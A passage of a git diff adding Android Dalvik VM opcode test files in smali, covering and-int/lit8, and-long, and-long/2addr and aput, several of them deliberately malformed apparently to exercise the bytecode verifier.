+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, -7
+       and-int/lit8 v0, v0, -8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali
new file mode 100644
index 0000000..4aa33ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0xcafe
+       and-int/lit8 v0, v0, -1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali
new file mode 100644
index 0000000..ea3d7d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0
+       and-int/lit8 v0, v0, -1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali
new file mode 100644
index 0000000..ffe089c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 127
+       and-int/lit8 v0, v0, -128
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali
new file mode 100644
index 0000000..d93081e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1.0
+       and-int/lit8 v0, v0, 1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali
new file mode 100644
index 0000000..427757d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1
+       and-int/lit8 v0, v0, 1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali
new file mode 100644
index 0000000..106de42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       and-int/lit8 v2, v3, 1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali
new file mode 100644
index 0000000..852e745
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       and-int/lit8 v0, v3, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali
new file mode 100644
index 0000000..6218204
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_1.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v10, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali
new file mode 100644
index 0000000..83810ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_3.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v10, 12345
+       and-long v0, v10, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali
new file mode 100644
index 0000000..2b5c200
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_4.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v9, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali
new file mode 100644
index 0000000..fb9a4de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_5.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v10, v14
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali
new file mode 100644
index 0000000..cd58a06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_6.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       and-long v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali
new file mode 100644
index 0000000..7adaf22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v10, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali
new file mode 100644
index 0000000..0faeb2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v0, 1234
+       and-long/2addr v12, v0
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali
new file mode 100644
index 0000000..2851eb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v12, v9
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali
new file mode 100644
index 0000000..2d64153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v10, v14
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali
new file mode 100644
index 0000000..668d4b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       and-long/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali
new file mode 100644
index 0000000..15a63c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_1.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 11
+
+       aput v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali
new file mode 100644
index 0000000..0ab568b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_2.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IDI)V
+.registers 11
+
+
+       aput v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali
new file mode 100644
index 0000000..5fa99dc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_3.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IIJ)V
+.registers 11
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali
new file mode 100644
index 0000000..7c17289
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_4.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;II)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali
new file mode 100644
index 0000000..33615e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_5.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DII)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali
new file mode 100644
index 0000000..8f32da8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_6.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JII)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali
new file mode 100644
index 0000000..09fb46f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
